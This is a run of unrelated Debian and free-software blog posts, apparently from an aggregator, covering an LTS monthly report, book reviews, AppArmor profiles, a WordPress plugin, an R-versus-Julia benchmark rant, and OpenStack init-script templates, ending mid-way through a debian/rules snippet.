My monthly report covers a large part of what I have been doing in the free software world. I write it for my donators (thanks to them!) but also for the wider Debian community because it can give ideas to newcomers and it s one of the best ways to find volunteers to work with me on projects that matter to me. Debian LTS This month I have been paid to work 20 hours on Debian LTS. I did the following tasks:

• CVE triage: I pushed 47 commits to the security tracker this month. Due to this, I submitted two wishlist bugs against the security tracker: #772927 and #772961.
• I released DLA-106-1 which had been prepared by Osamu Aoki.
• I released DLA-111-1 fixing one CVE on cpio.
• I released DLA-113-1 and DLA-114-1 on bsd-mailx/heirloom-mailx fixing one CVE for the former and two CVE for the latter.
• I released DLA-120-1 on xorg-server. This update alone took more than 6h to backport all the patches, fixing a massive set of 12 CVE.

Not in the paid hours, but still related to Debian LTS, I kindly asked Linux Weekly News to cover Debian LTS in their security page and this is now live. You will see DLA on the usual security page and there s also a dedicated page tracking this: http://lwn.net/Alerts/Debian-LTS/ I modified the LTS wiki page to have a dedicated Funding sub-page. This avoids having a direct link to Freexian s offer on the main LTS page (which surprised a few persons) and allows to give some more background information and makes it possible for other persons/companies to also get listed in the same way (since there s no exclusive relationship between Debian and Freexian here!). And I also answered some questions of Nguyen Cong (a new LTS contributor, employed by Toshiba with explicit permission to contribute to LTS during work hours! \o/), on IRC, on ask.debian.net (again) and on the mailing list! It s great to see the LTS project expanding beyond current members of the Debian project. Distro Tracker I want to give again some more priority to Distro Tracker at least to complete the transition from the old PTS to this new service last month has been a bit better than November but not by much. I reviewed a patch in #771604 (about displaying long descriptions), I merged another patch in #757443 (fixing bad markup which rendered the page unusable with Konqueror), I fixed #760382 where package gone through NEW would never lose their version in NEW. Kali related contributions I m not covering my Kali work here but only some things which got contributed upstream (or to Debian). First I ensured that we could build the Kali ISO with live-build 4.x in jessie. This resulted in multiple patches merged to the Debian live project (1 2 3 4). I also submitted a patch for a regression in the handling of conditionals in package lists, it got dropped and has been fixed differently instead. I also filed #772651 to report a problem in how live-build decided of the variant of the live-config package to install. Kali has forked the sysvinit package to be able to disable the services by default and I was investigating how to port this feature in the new systemd world. It turns out systemd has such a feature natively: it s called Preset files. Unfortunately it s not usable in Debian because Debian does not call systemctl preset during package installation. I filed bug #772555 to get this fixed (in Stretch, it s too late for Jessie :-(). Saltstack I m using salt to automate some administration task in Kali, at home and at work. I discovered recently that the project tries to collect Salt Formulas : those are ready to use instructions for as many services as possibles. I started using this for some simple services and quickly felt the need to extend salt-formula , the set of states used to configure salt with salt. I submitted 5 pull requests (#73 and #74 to configure salt in standalone mode, #75 to enable the upstream package repositories, #76 to automatically download and enable the desired salt formulas, #77 for some bugfixes) and they have all been merged in less than 24 hours (that s the kind of thing that motivates you to contribute again in the future!). I also submitted a bug fix for samba-formula and a bug report in salt itself (#19180). BTW I have some salt states to setup schroot and sbuild. I will try to package those as proper salt formulas in the future Misc stuff Mailing list governance. In Debian, we often complain about meta-discussion on mailing lists (i.e. discussions about how we discuss together) and at the same time we need to have that kind of discussions from time to time. So I suggested to host those discussions in a new mailing list and to get this new list setup, our rules require to have other people interested in having this list. The idea had some support when we discussed it on debian-private, so I relaunched it on debian-project while filing the official request in the BTS: #772645. Unfortunately, I only got one second. So if you re interested in pursuing this idea, speak up now Sponsorship. I sponsored another Galette plugin this month: galette-plugin-fullcard. Thanks to Fran ois-R gis Vuillemin for his work. Publican. Following one of my bug report against Publican and with the help of the upstream author, we identified the problem and I submitted a patch. Thanks See you next month for a new summary of my activities.

One comment Liked this article? Click here. My blog is Flattr-enabled.

I tried to make Google::API::Client deb package, it requires Module::Build::Tiny, and dh-make-perl don t suppot it, so I worte a override code in debian/rules. [sourcecode]
override_dh_auto_install:
./Build install destdir=$$(pwd)/debian/$pkgname installdirs=vendor
[/sourcecode] More elegant answer should be to add Module::Build::Lite support to dh-make-perl. Update: This probrem is only wheezy, I don t need such workaround on sid. Thank you greoga.

Review: Three Parts Dead, by Max Gladstone

Series:	Craft #1
Publisher:	Tor
Copyright:	October 2012
ISBN:	1-4668-0203-0
Format:	Kindle
Pages:	336

Tara Abernathy was a student in the Hidden Schools, learning Craft, until she was expelled. Literally expelled: thrown from the floating schools to crash painfully to earth in the Badlands, left to return to her family and village and a life of small workings of Craft and contracts on behalf of local farmers. She had largely resigned herself to that life until raiders started killing people. Tara is not the sort of person who could stand by and watch that, or someone to refrain from using Craft to fix the world. The result was undead guardians for the town, perhaps unwisely formed from the town's risen dead, and only a job offer saves Tara from the ungrateful attention of her neighbors. That's how Tara finds herself employed by the firm of Kelethras, Albrecht, and Ao, in the person of partner Elayne Kevarian. Provisionally, depending on her performance on their job: the investigation of the death of a god. It's possible to call Three Parts Dead urban fantasy if you squint at it the right way. It is fantasy that takes place largely in cities, it features the investigation of a crime (and, before long, several crimes), and Tara's attitude is reminscent of an urban fantasy heroine. But this is considerably different from the normal fare of supernatural creatures. In this world, magic, called Craft, is an occupation that requires a great deal of precision and careful construction. Small workings are described similar to magic, although with an emphasis on metaphor. Larger workings more often come in the form of energy flows, contracts, and careful hedging, and the large Craft firms bear more resemblence to mergers and acquisitions specialists than to schools of wizards. This means that the murder investigation of the god of Alt Coulumb involves a compelling mix of danger, magic, highly unusual library investigations, forensic accounting, hidden Craft machinery, unexpected political alliances, and an inhuman police force. Rather than the typical urban fantasy approach of being beaten up until the resolution of the mystery becomes obvious, Tara and her companions do quite a lot of footwork and uncover a more complex political situation than they were expecting. And, in keeping with this take on magic, the story culminates in a courtroom drama (of a sort). I really enjoyed this. It combines the stylistic elements of urban fantasy that I like with some complex and original world-building and a great take on magical contracts. I prefer worlds like this one, where any source of power people have lived with for a long time is surrounded by the controls, formal analysis, and politics that humans create around anything of value. Tara is also a great protagonist. This is a coming of age story in a sense, and Tara is sometimes unsure of her abilities, but it's refreshingly devoid of worry or angst over new-found abilities. Tara enjoys her work, and approaches it with a well-written mix of uncertainty, impulsiveness, and self-confidence (sometimes warranted, sometimes not). I've read some good stories where the protagonist gets dragged into the story against their will, and some of them are quite good, but it's refreshing to read a book about someone who takes to the story like a duck to water. This is a believable protrayal of a character with a lot of native ability and intelligence, not much wisdom (yet), but a lot of thoughtful enthusiasm. I was disappointed to learn that she isn't the protagonist of the next book in the series. The biggest flaw I found in this book is that Gladstone doesn't stick reliably to his world conception. At times, Craft collapses into something more like typical fantasy magical battles, instead of legal procedure and contract made concrete. I suppose this makes parts of the book more exciting, but I would have preferred a plot resolution that involved less combat and more argument. This isn't helped by the utterly hissable villain. There's a lot of complexity in understanding what happened and who was going to benefit (and how), but there is absolutely no doubt who the enemy is, and he's essentially without redeeming qualities. I would have preferred more nuance, given how satisfyingly complex the rest of the world-building is. Three Parts Dead also occasionally suffers from the typical first novel problem of being a bit overstuffed. The world-building comes fast and thick, and nearly everything Tara does involves introducing new concepts. But the world does have a coherent history, and quite a lot of it. It used to be a more typical fantasy world ruled by gods, each with their own territory and worshippers (and Alt Coulumb is a throwback to this era), but an epic war between gods and Craft is in Tara's past, leading to the defeat or destruction of many of the gods. She lives in a time of uneasy truce between human and inhuman powers, featuring some very complex political and economic alliances. There's a lot of material here for an ongoing series. This is a great first novel. It's not without its flaws, but I enjoyed it from beginning to end, and will definitely keep reading the series. Recommended. Followed by Two Serpents Rise. Rating: 8 out of 10

Review: Bad Pharma, by Ben Goldacre

Publisher:	Faber and Faber
Copyright:	2012, 2013
Printing:	2014
ISBN:	0-86547-806-6
Format:	Trade paperback
Pages:	397

If you have previously read Bad Science by Ben Goldacre, it's doubtful you need me to do anything other than point out that he has a new book. Oh, and it's subtitled How Drug Companies Mislead Doctors and Harm Patients, and it's written with the same indignant determination, clear explanation, and appreciation for real science as Bad Science. If you haven't read Bad Science, I recommend it. You don't have to read it before Bad Pharma, but it's a more approachable start, and a funnier book. Bad Science opens with some obviously horrible examples, and slowly develops the tools required to analyze more advanced and deceptive quackery. Bad Pharma jumps straight into the deep end of statistical biases in data, how and why they're introduced, and why they undermine your health care. This is a more serious book than Bad Science, since it lacks the medical quackery that is so ludicrous it's funny. Everything in Bad Science is successfully sold to someone there are people who believe in candling but most readers of the book can laugh a bit that anyone would believe in such things before getting to the parts of the book where the quackery is widespread and kills people. Bad Pharma focuses on the mainstream pharmaceutical industry and the way that it distorts the scientific process, which leads to serious consequences quite quickly. Goldacre is more pointedly on a mission here than in his previous book. This is not just an expos . It includes detailed recommendations for how to make the drug evaluation process better, and some specific ethical recommendations for doctors to avoid being unduly influenced by drug company marketing. But before that, he provides the best detailed explanation of how the drug research and approval process is supposed to work that I've seen. There's also a lot of good information about how to detect trials and related studies that haven't been done properly, and how to separate marketing language from scientific evidence. Goldacre wisely does not get into all the details of how to do a trial properly, which would be way beyond the scope of this book, but he does provide valuable rules of thumb and red flags that indicate when someone is probably not doing the trial properly. A point that's both frustrating and enlightening, and made very well by this book, is that fixing many of the problems with the drug approval process is not that difficult. Fixing all of them would be exceedingly difficult, of course, since they involve humans, complex financial motivations, the effectiveness of propaganda, and talented people who are paid well to create favorable impressions for new drugs. But we could get quite significant benefits from a few straightforward enhancements of the existing drug approval process, such as requiring that all clinical trials be pre-registered and all trial results published as a prerequisite for any drug approval. Goldacre makes his case for these changes forcefully and persuasively, and with justified anger. The current situation is bad enough for people like me who are only potential patients with no urgent medical issues. For a practicing doctor like Goldacre, it's infuriating to be actively denied the information required to effectively save people's lives. Normally, I find books like this interesting, but depressing and frustratingly limited. It's easy to write books about abuses that currently exist, or the limitations of the current approach. It's much harder to do what Goldacre does here: clearly describe the goals and ideals of drug testing for the lay reader, detail how the current approaches fall short of that goals, and then propose practical and concrete ways to correct the situation. And keep the details interesting and entertaining enough that I enjoyed reading every page of a nearly 400 page book. This is not a book that will fill you with trust or enthusiasm for the medical establishment (anywhere in the world). But it's still oddly comforting: we do know how to do these things properly, and occasionally we even act on that knowledge. These problems are serious, but they should provoke outrage partly because they're correctable and yet aren't being corrected. And there are doctors like Goldacre who are trying to push medicine towards proper use of evidence, research, and knowledge, instead of commercial manipulation. Recommended if you have any interest at all in how medicine or scientific research is actually done, and what its pitfalls look like. Rating: 8 out of 10

I have spent the last days trying to understand the relationship between AppArmor, the AppArmor profiles and Debian s AppArmor profiles. Let me try to briefly introduce you to this. First of all, let me emphasize that one needs to distinguish between AppArmor, the kernel module, and the AppArmor profiles, which define rules for application confinement. As stated on the project s wiki:

The AppArmor project source is split between the kernel module, available in the Linux kernel and git development tree and the user space tools available in launchpad.

So, we can find the upstream AppArmor profile development taking place at Canonical s launchpad. The profiles which are developed there serve as a basis for those included in Debian. It is thus useful to try to contribute to this upstream when updating a profile for Debian. Since AppArmor 2.9 has been introduced, the rules of a profiles which are not applicable for a system are ignored. Thus, collaboration between different Linux distributions shipping AppArmor will become much simpler. In the aforementioned Ubuntu repository you can find the profiles that are currently in development. Once tested and ready, they are removed from this repository and finally included into the corresponding package. For example, the profile for Evince, the GNOME PDF viewer, is available in the evince package. In Debian on the contrary, there are only some packages which ship their own profiles. This concernes for example bind, clamav, cups, tor.
But many profiles are not yet included with their package, but instead delivered through the apparmor-profiles and apparmor-profiles-extra packages. These are maintained by the the Debian AppArmor packaging team. The team takes care of merging changes from the upstream profiles into Debian. Today, the relationship between Upstream and Debian looks like this:

Upstream/bzr	Debian source package	Debian binary package	Ubuntu source package	Ubuntu binary package
apparmor	apparmor	apparmor-profiles	-	-
apparmor-profiles	apparmor-profiles-extra	apparmor-profiles-extra	-	-
ubuntu-evince	apparmor-profiles-extra	apparmor-profiles-extra	evince	evince

In the future, this should change. It would indeed be desirable that package maintainers include profiles with the packages they maintain and take care of updating them accordingly when the package itself is updated. It is much more logical to to it that way, as changes in a package like Pidgin or Evince can occur at a different point in time then when the apparmor-profiles-extra package is updated. I started working on a documentation for Debian Package Maintainers which describes how to do this.

Yesterday I installed the wp-spamshield plugin for WordPress [1]. It blocks automated comment spam systems by using JavaScript and cookies, apparently most spammers can t handle that. Before I installed it I was getting hundreds of spam comments per day even with the block spam by math plugin enabled. Now I ve had it running for 24 hours without any spam. The real advantage of this is that now when a legitimate comment gets flagged as spam I ll notice it, previously I was deleting hundreds or thousands of comments at a time without reading them. deb http://www.coker.com.au wheezy wordpress The above repository has the wordpress-wp-spamshield package for Debian/Wheezy. I have no immediate plans for uploading it to Debian because the security support for WordPress plugins doesn t fit in with the Debian model. I am prepared to negotiate about this if someone has good reasons for including it or any of the other WordPress plugins I ve packages. My packaging work is under the GPL (of course) so any DD who disagrees with me could just rebuild the package and upload it. Within Debian there is no rule taking another DD s GPL d code that they decided not to upload and then uploading it. There is a consensus that such things are not appropriate without permission, but anyone who wishes can take this blog post as permission.

• [1] https://wordpress.org/plugins/wp-spamshield/

Attention: rant coming. You have been warned, and may want to tune out now. So the top of my Twitter timeline just had a re-tweet posting to this marvel on the state of Julia. I should have known better than to glance at it as it comes from someone providing (as per the side-bar) Thought leadership in Big Data, systems architecture and more. Reading something like this violates the first rule of airport book stores: never touch anything from the business school section, especially on (wait for it) leadership or, worse yet, thought leadership. But it is Sunday, my first cup of coffee still warm (after finalising two R package updates on GitHub, and one upload to CRAN) and so I read on. Only to be mildly appalled by the usual comparison to R based on the same old Fibonacci sequence. Look, I am as guilty as anyone of using it (for example all over chapter one of my Rcpp book), but at least I try to stress each and every time that this is kicking R where it is down as its (fairly) poor performance on functions calls (that is well-known and documented) obviously gets aggravated by recursive calls. But hey, for the record, let me restate those results. So Julia beats R by a factor of 385. But let's take a closer look. For n=25, I get R to take 241 milliseconds---as opposed to his 6905 milliseconds---simply by using the same function I use in every workshop, eg last used at Penn in November, which does not use the dreaded ifelse operator:

fibR <- function(n)  
  if (n < 2) return(n)
  return(fibR(n-1) + fibR(n-2))
 

Switching that to the standard C++ three-liner using Rcpp

library(Rcpp)
cppFunction('int fibCpp(int n)   
  if (n < 2) return(n);  
  return(fibCpp(n-1) + fibCpp(n-2));  
   ')

and running a standard benchmark suite gets us the usual result of

R> library(rbenchmark)
R> benchmark(fibR(25),fibCpp(25),order="relative")[,1:4]
        test replications elapsed relative
2 fibCpp(25)          100   0.048    1.000
1   fibR(25)          100  24.674  514.042
R> 

So for the record as we need this later: that is 48 milliseconds for 100 replications, or about 0.48 milliseconds per run. Now Julia. And of my standard Ubuntu server running the current release 14.10:

edd@max:~$ julia
ERROR: could not open file /home/edd//home/edd//etc/julia/juliarc.jl
 in include at boot.jl:238
edd@max:~$ 

So wait, what? You guys can't even ensure a working release on what is probably the most popular and common Linux installation? And I get to that after reading a post on the importance of "Community, Community, Community" and you can't even make sure this works on Ubuntu? Really? So a little bit of googling later, I see that julia -f is my friend for this flawed release, and I can try to replicate the original timing

edd@max:~$ julia -f
               _
   _       _ _(_)_        A fresh approach to technical computing
  (_)       (_) (_)       Documentation: http://docs.julialang.org
   _ _   _   _  __ _      Type "help()" to list help topics
               / _      
       _        (_        Version 0.2.1 (2014-02-11 06:30 UTC)
 _/  \__'_ _ _ \__'_      
 __/                      x86_64-linux-gnu
julia> fib(n) = n < 2 ? n : fib(n - 1) + fib(n - 2)
fib (generic function with 1 method)
julia> @elapsed fib(25)
0.002299559
julia> 

Interestingly the posts author claims 18 milliseconds. I see 2.3 milliseconds here. Maybe someone is having a hard time comparing things to the right of the decimal point. Or maybe his computer is an order of magnitude slower than mine. The more important thing is that Julia is of course faster than R (no surprise: LLVM at work) but also still a lot slower than a (trivial to write and deploy) C++ function. Nothing new here. So let's recap. Comparison to R was based on a flawed version of a function we only use when we deliberately want to put R down, can be improved significantly when using a better implementation, results are still off by order of magnitude to what was reported ("math is hard"), and the standard C / C++ way of doing things is still several times faster than our new saviour language---which I can't even launch on the current version of one of the more common free operating systems. Ok then. Someone please wake me up in a few years and I will try again. Now, coming to the end of the rant I should really stress that of course I too hope that Julia succeeds. Every user pulled away from Matlab is a win for all us. We're in this together and the endless navel gazing between ourselves is so tiresome and irrelevant. And as I argue here, even more so when we among ourselves stick to unfair comparisons as well as badly chosen implementation details. What matters are wins against the likes of Matlab, Excel, SAS and so on. Let's build on our joint strength. I am sure I will use Julia one day, and I am grateful for everyone helping with it---as a lot of help seems to be needed. In the meantime, and with CRAN at 6130 packages that just work I'll continue to make use of this amazing community and trying my bit to help it grow and prosper. As part of our joint community.

Release 4.1 of WordPress came out on Friday so after some work to fit in with the Debian standards, the Debian package 4.1-1 of WordPress will be uploaded shortly. WordPress have also updated their themes with a 14-day early theme called twentyfifteen. This is the default theme for WordPress 4.1 on-wards. I have also made some adjustments with the embedded code that WordPress ships. This is the usually JavaScript or PHP code that WordPress has in their release tarballs that comes from other projects. There is a fine line between keeping the WordPress install the same and having to deal with the maintenance of the embedded code. An example of a good one not to use embedded code is php-getid which the Debian maintainer has put in some additional patches for a better security fix while the alternative is jquery which is a little sad in the Debian-word being so many versions behind. php-snoopy got reverted to embedded code because its not exactly the same as upstream. A significant (or invisible, depends on your browser) is the mediaelement components now don t use the un-maintainable silverlight and flash plugins, which is the same how the libjs-mediaelement package works. In fact the code IS from that package. dh_linktree As I was looking into the embedded js/php code in WordPress, I also had to look into how the previous maintainer kept all the versions in order without some horrible mess of patchfiles and symlinks. The answer was dh_linktree. This program plugs into the standard debhelper rules file and can basically use symlinks in the package to use the standard Debian versions of files. It a bit cleverer than symlinks in that you can say use the link always or only if the files are the same. If you need to remove some of your embedded code out of Debian packages, have a look into it. It might save you a lot of agnst or hand-crafted rules files.

tl;dr: Providing support for all 3 init systems (sysv-rc, Upstart and systemd) isn t hard, and generating the init scripts / Upstart job / systemd using a template system is a lot easier than I previously thought. As always, when writing this kind of blog post, I do expect that others will not like what I did. But that s the point: give me your opinion in a constructive way (please be polite even if you don t like what you see I had too many times had to read harsh comments), and I ll implement your ideas if I find it nice. History of the implementation: how we came to the idea I had no plan to do this. I don t believe what I wrote can be generalized to all of the Debian archive. It s just that I started doing things, and it made sense when I did it. Let me explain how it happened. Since it s clear that many, and especially the most advanced one, may have an opinion about which init system they prefer, and because I also support Ubuntu (at least Trusty), I though it was a good idea to support all the main init system: sysv-rc, Upstart and systemd. Though I have counted (for the sake of being exact in this blog) : OpenStack in Debian contains currently 64 init scripts to run daemons in total. That s quite a lot. A way too much to just write them, all by hand. Though that s what I was doing for the last years until this the end of this last summer! So, doing all by hand, I first started implementing Upstart. Its support was there only when building in Ubuntu (which isn t the correct thing to do, this is now fixed, read further ). Then we thought about adding support for systemd. Gustavo Panizzo, one of the contributors in the OpenStack packages, started implementing it in Keystone (the auth server for OpenStack) for the Juno release which was released this October. He did that last summer, early enough so we didn t expect anyone to use the Juno branch Keystone. After some experiments, we had kind of working. What he did was invoking /etc/init.d/keystone start-systemd , which was still using start-stop-daemon. Yes, that s not perfect, and it s better to use systemd foreground process handling, but at least, we had a unique place where to write the startup scripts, where we check the /etc/default for the logging configuration, configure the log file, and so on. Then around in october, I took a step backward to see the whole picture with sysv-rc scripts, and saw the mess, with all the tiny, small difference between them. It became clear that I had to do something to make sure they were all the same, with the support for the same things (like which log system to use, where to store the PID, create /var/lib/project, /var/run/project and so on ). Last, on this month of December, I was able to fix the remaining issues for systemd support, thanks to the awesome contribution of Mikael Cluseau on the Alioth OpenStack packaging list. Now, the systemd unit file is still invoking the init script, but it s not using start-stop-daemon anymore, no PID file involved, and daemons are used as systemd foreground processes. Finally, daemons service files are also activated on installation (they were not previously). Implementation So I took the simplistic approach to use always the same template for the sysv-rc switch/case, and the start and stop functions, happening it at the end of all debian/*.init.in scripts. I started to try to reduce the number of variables, and I was surprised of the result: only a very small part of the init scripts need to change from daemon to daemon. For example, for nova-api, here s the init script (LSB header stripped-out):

DESC="OpenStack Compute API"
PROJECT_NAME=nova
NAME=$ PROJECT_NAME -api

That is it: only 3 lines, defining only the name of the daemon, the name of the project it attaches (eg: nova, cinder, etc.), and a long description. There s of course much more complicated init scripts (see the one for neutron-server in the Debian archive for example), but the vast majority only needs the above. Here s the sysv-rc init script template that I currently use:

#!/bin/sh
# The content after this line comes from openstack-pkg-tools
# and has been automatically added to a .init.in script, which
# contains only the descriptive part for the daemon. Everything
# else is standardized as a single unique script.
# Author: Thomas Goirand <zigo@debian.org>
# PATH should only include /usr/* if it runs after the mountnfs.sh script
PATH=/sbin:/usr/sbin:/bin:/usr/bin
if [ -z "$ DAEMON " ] ; then
	DAEMON=/usr/bin/$ NAME 
fi
PIDFILE=/var/run/$ PROJECT_NAME /$ NAME .pid
if [ -z "$ SCRIPTNAME " ] ; then
	SCRIPTNAME=/etc/init.d/$ NAME 
fi
if [ -z "$ SYSTEM_USER " ] ; then
	SYSTEM_USER=$ PROJECT_NAME 
fi
if [ -z "$ SYSTEM_USER " ] ; then
	SYSTEM_GROUP=$ PROJECT_NAME 
fi
if [ "$ SYSTEM_USER " != "root" ] ; then
	STARTDAEMON_CHUID="--chuid $ SYSTEM_USER :$ SYSTEM_GROUP "
fi
if [ -z "$ CONFIG_FILE " ] ; then
	CONFIG_FILE=/etc/$ PROJECT_NAME /$ PROJECT_NAME .conf
fi
LOGFILE=/var/log/$ PROJECT_NAME /$ NAME .log
if [ -z "$ NO_OPENSTACK_CONFIG_FILE_DAEMON_ARG " ] ; then
	DAEMON_ARGS="$ DAEMON_ARGS  --config-file=$ CONFIG_FILE "
fi
# Exit if the package is not installed
[ -x $DAEMON ]   exit 0
# If ran as root, create /var/lock/X, /var/run/X, /var/lib/X and /var/log/X as needed
if [ "x$USER" = "xroot" ] ; then
	for i in lock run log lib ; do
		mkdir -p /var/$i/$ PROJECT_NAME 
		chown $ SYSTEM_USER  /var/$i/$ PROJECT_NAME 
	done
fi
# This defines init_is_upstart which we use later on (+ more...)
. /lib/lsb/init-functions
# Manage log options: logfile and/or syslog, depending on user's choosing
[ -r /etc/default/openstack ] && . /etc/default/openstack
[ -r /etc/default/$NAME ] && . /etc/default/$NAME
[ "x$USE_SYSLOG" = "xyes" ] && DAEMON_ARGS="$DAEMON_ARGS --use-syslog"
[ "x$USE_LOGFILE" != "xno" ] && DAEMON_ARGS="$DAEMON_ARGS --log-file=$LOGFILE"
do_start()  
	start-stop-daemon --start --quiet --background $ STARTDAEMON_CHUID  --make-pidfile --pidfile $ PIDFILE  --chdir /var/lib/$ PROJECT_NAME  --startas $DAEMON \
			--test > /dev/null   return 1
	start-stop-daemon --start --quiet --background $ STARTDAEMON_CHUID  --make-pidfile --pidfile $ PIDFILE  --chdir /var/lib/$ PROJECT_NAME  --startas $DAEMON \
			-- $DAEMON_ARGS   return 2
 
do_stop()  
	start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile $PIDFILE
	RETVAL=$?
	rm -f $PIDFILE
	return "$RETVAL"
 
do_systemd_start()  
	exec $DAEMON $DAEMON_ARGS
 
case "$1" in
start)
	init_is_upstart > /dev/null 2>&1 && exit 1
	log_daemon_msg "Starting $DESC" "$NAME"
	do_start
	case $? in
		0 1) log_end_msg 0 ;;
		2) log_end_msg 1 ;;
	esac
;;
stop)
	init_is_upstart > /dev/null 2>&1 && exit 0
	log_daemon_msg "Stopping $DESC" "$NAME"
	do_stop
	case $? in
		0 1) log_end_msg 0 ;;
		2) log_end_msg 1 ;;
	esac
;;
status)
	status_of_proc "$DAEMON" "$NAME" && exit 0   exit $?
;;
systemd-start)
	do_systemd_start
;;  
restart force-reload)
	init_is_upstart > /dev/null 2>&1 && exit 1
	log_daemon_msg "Restarting $DESC" "$NAME"
	do_stop
	case $? in
	0 1)
		do_start
		case $? in
			0) log_end_msg 0 ;;
			1) log_end_msg 1 ;; # Old process is still running
			*) log_end_msg 1 ;; # Failed to start
		esac
	;;
	*) log_end_msg 1 ;; # Failed to stop
	esac
;;
*)
	echo "Usage: $SCRIPTNAME  start stop status restart force-reload systemd-start " >&2
	exit 3
;;
esac
exit 0

Nothing particularly fancy here You ll noticed that it s really OpenStack centric (see the LOGFILE and CONFIGFILE things ). You may have also noticed the call to init_is_upstart which is needed for upstart support. I m not sure if it s at the correct place in the init script. Should I put that on top of the script? Was I right with the exit values for it? Please send me your comments Then I thought about generalizing all of this. Because not only the sysv-rc scripts needed to be squared-up, but also Upstart. The approach here was to source the sysv-rc script in debian/*.init.in, and then generate the Upstart job accordingly, using the above 3 variables (or more as needed). Here, the fun is that, instead of taking the approach of calculating everything at runtime with the sysv-rc, for Upstart jobs, many things are calculated at build time. For each debian/*.init.in script that the debian/rules finds, pkgos-gen-upstart-job is called. Here s pkgos-gen-upstart-job:

#!/bin/sh
INIT_TEMPLATE=$ 1 
UPSTART_FILE= echo $ INIT_TEMPLATE    sed 's/.init.in/.upstart/' 
# Get the variables defined in the init template
. $ INIT_TEMPLATE 
## Find out what should go in After=
#SHOULD_START= cat $ INIT_TEMPLATE    grep "# Should-Start:"   sed 's/# Should-Start://' 
#
#if [ -n "$ SHOULD_START " ] ; then
#	AFTER="After="
#	for i in $ SHOULD_START  ; do
#		AFTER="$ AFTER $ i .service "
#	done
#fi
if [ -z "$ DAEMON " ] ; then
        DAEMON=/usr/bin/$ NAME 
fi
PIDFILE=/var/run/$ PROJECT_NAME /$ NAME .pid
if [ -z "$ SCRIPTNAME " ] ; then
	SCRIPTNAME=/etc/init.d/$ NAME 
fi
if [ -z "$ SYSTEM_USER " ] ; then
	SYSTEM_USER=$ PROJECT_NAME 
fi
if [ -z "$ SYSTEM_GROUP " ] ; then
	SYSTEM_GROUP=$ PROJECT_NAME 
fi
if [ "$ SYSTEM_USER " != "root" ] ; then
	STARTDAEMON_CHUID="--chuid $ SYSTEM_USER :$ SYSTEM_GROUP "
fi
if [ -z "$ CONFIG_FILE " ] ; then
	CONFIG_FILE=/etc/$ PROJECT_NAME /$ PROJECT_NAME .conf
fi
LOGFILE=/var/log/$ PROJECT_NAME /$ NAME .log
DAEMON_ARGS="$ DAEMON_ARGS  --config-file=$ CONFIG_FILE "
echo "description \"$ DESC \"
author \"Thomas Goirand <zigo@debian.org>\"
start on runlevel [2345]
stop on runlevel [!2345]
chdir /var/run
pre-start script
	for i in lock run log lib ; do
		mkdir -p /var/\$i/$ PROJECT_NAME 
		chown $ SYSTEM_USER  /var/\$i/$ PROJECT_NAME 
	done
end script
script
	[ -x \"$ DAEMON \" ]   exit 0
	DAEMON_ARGS=\"$ DAEMON_ARGS \"
	[ -r /etc/default/openstack ] && . /etc/default/openstack
	[ -r /etc/default/\$UPSTART_JOB ] && . /etc/default/\$UPSTART_JOB
	[ \"x\$USE_SYSLOG\" = \"xyes\" ] && DAEMON_ARGS=\"\$DAEMON_ARGS --use-syslog\"
	[ \"x\$USE_LOGFILE\" != \"xno\" ] && DAEMON_ARGS=\"\$DAEMON_ARGS --log-file=$ LOGFILE \"
	exec start-stop-daemon --start --chdir /var/lib/$ PROJECT_NAME  \\
		$ STARTDAEMON_CHUID  --make-pidfile --pidfile $ PIDFILE  \\
		--exec $ DAEMON  -- --config-file=$ CONFIG_FILE  \$ DAEMON_ARGS 
end script
" >$ UPSTART_FILE 

The only thing which I don t know how to do, is how to implement the Should-Start / Should-Stop in an Upstart job. Can anyone shoot me a mail and tell me the solution? Then, I wanted to add support for systemd. Here, we cheated, since we only just called the sysv-rc script from the systemd unit, however, the systemd-start target uses exec, so the process stays in the foreground. It s also much smaller than the Upstart thing. However, here, I could implement the After thing, corresponding to the Should-Start:

#!/bin/sh
INIT_TEMPLATE=$ 1 
SERVICE_FILE= echo $ INIT_TEMPLATE    sed 's/.init.in/.service/' 
# Get the variables defined in the init template
. $ INIT_TEMPLATE 
if [ -z "$ SCRIPTNAME " ] ; then
	SCRIPTNAME=/etc/init.d/$ NAME 
fi
if [ -z "$ SYSTEM_USER " ] ; then
	SYSTEM_USER=$ PROJECT_NAME 
fi
if [ -z "$ SYSTEM_GROUP " ] ; then
	SYSTEM_GROUP=$ PROJECT_NAME 
fi
# Find out what should go in After=
SHOULD_START= cat $ INIT_TEMPLATE    grep "# Should-Start:"   sed 's/# Should-Start://' 
if [ -n "$ SHOULD_START " ] ; then
	AFTER="After="
	for i in $ SHOULD_START  ; do
		AFTER="$ AFTER $ i .service "
	done
fi
echo "[Unit]
Description=$ DESC 
$AFTER
[Service]
User=$ SYSTEM_USER 
Group=$ SYSTEM_GROUP 
WorkingDirectory=/var/lib/$ PROJECT_NAME 
PermissionsStartOnly=true
ExecStartPre=/bin/mkdir -p /var/lock/$ PROJECT_NAME  /var/log/$ PROJECT_NAME  /var/lib/$ PROJECT_NAME 
ExecStartPre=/bin/chown $ SYSTEM_USER :$ SYSTEM_GROUP  /var/lock/$ PROJECT_NAME  /var/log/$ PROJECT_NAME  /var/lib/$ PROJECT_NAME 
ExecStart=$ SCRIPTNAME  systemd-start
Restart=on-failure
[Install]
WantedBy=multi-user.target
" >$ SERVICE_FILE 

As you can see, it s calling /etc/init.d/$ SCRIPTNAME sytemd-start, which isn t great. I d be happy to have comments from systemd user / maintainers on how to fix it to make it better. Integrating in debian/rules To integrate with the Debian package build system, we only need had to write this:

override_dh_installinit:
	# Create the init scripts from the template
	for i in  ls -1 debian/*.init.in  ; do \
		MYINIT= echo $$i   sed s/.init.in//  ; \
		cp $$i $$MYINIT.init ; \
		cat /usr/share/openstack-pkg-tools/init-script-template >>$$MYINIT.init ; \
		pkgos-gen-systemd-unit $$i ; \
	done
	# If there's an upstart.in file, use that one instead of the generated one
	for i in  ls -1 debian/*.upstart.in  ; do \
		MYPKG= echo $$i   sed s/.upstart.in//  ; \
		cp $$MYPKG.upstart.in $$MYPKG.upstart ; \
	done
	# Generate the upstart job if there's no already existing .upstart.in
	for i in  ls debian/*.init.in  ; do \
		MYINIT= echo $$i   sed s/.init.in/.upstart.in/  ; \
		if ! [ -e $$MYINIT ] ; then \
			pkgos-gen-upstart-job $$i ; \
		fi \
	done
	dh_installinit --error-handler=true
	# Generate the systemd unit file
	# Note: because dh_systemd_enable is called by the
	# dh sequencer *before* dh_installinit, we have
	# to process it manually.
